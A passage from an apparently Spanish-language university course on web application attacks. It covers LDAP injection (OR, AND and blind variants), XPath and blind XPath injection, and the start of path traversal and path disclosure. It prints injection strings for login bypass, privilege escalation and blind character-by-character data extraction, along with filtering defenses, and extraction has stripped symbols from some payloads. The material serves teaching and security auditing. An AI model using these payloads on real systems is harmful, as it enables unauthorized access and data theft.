LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

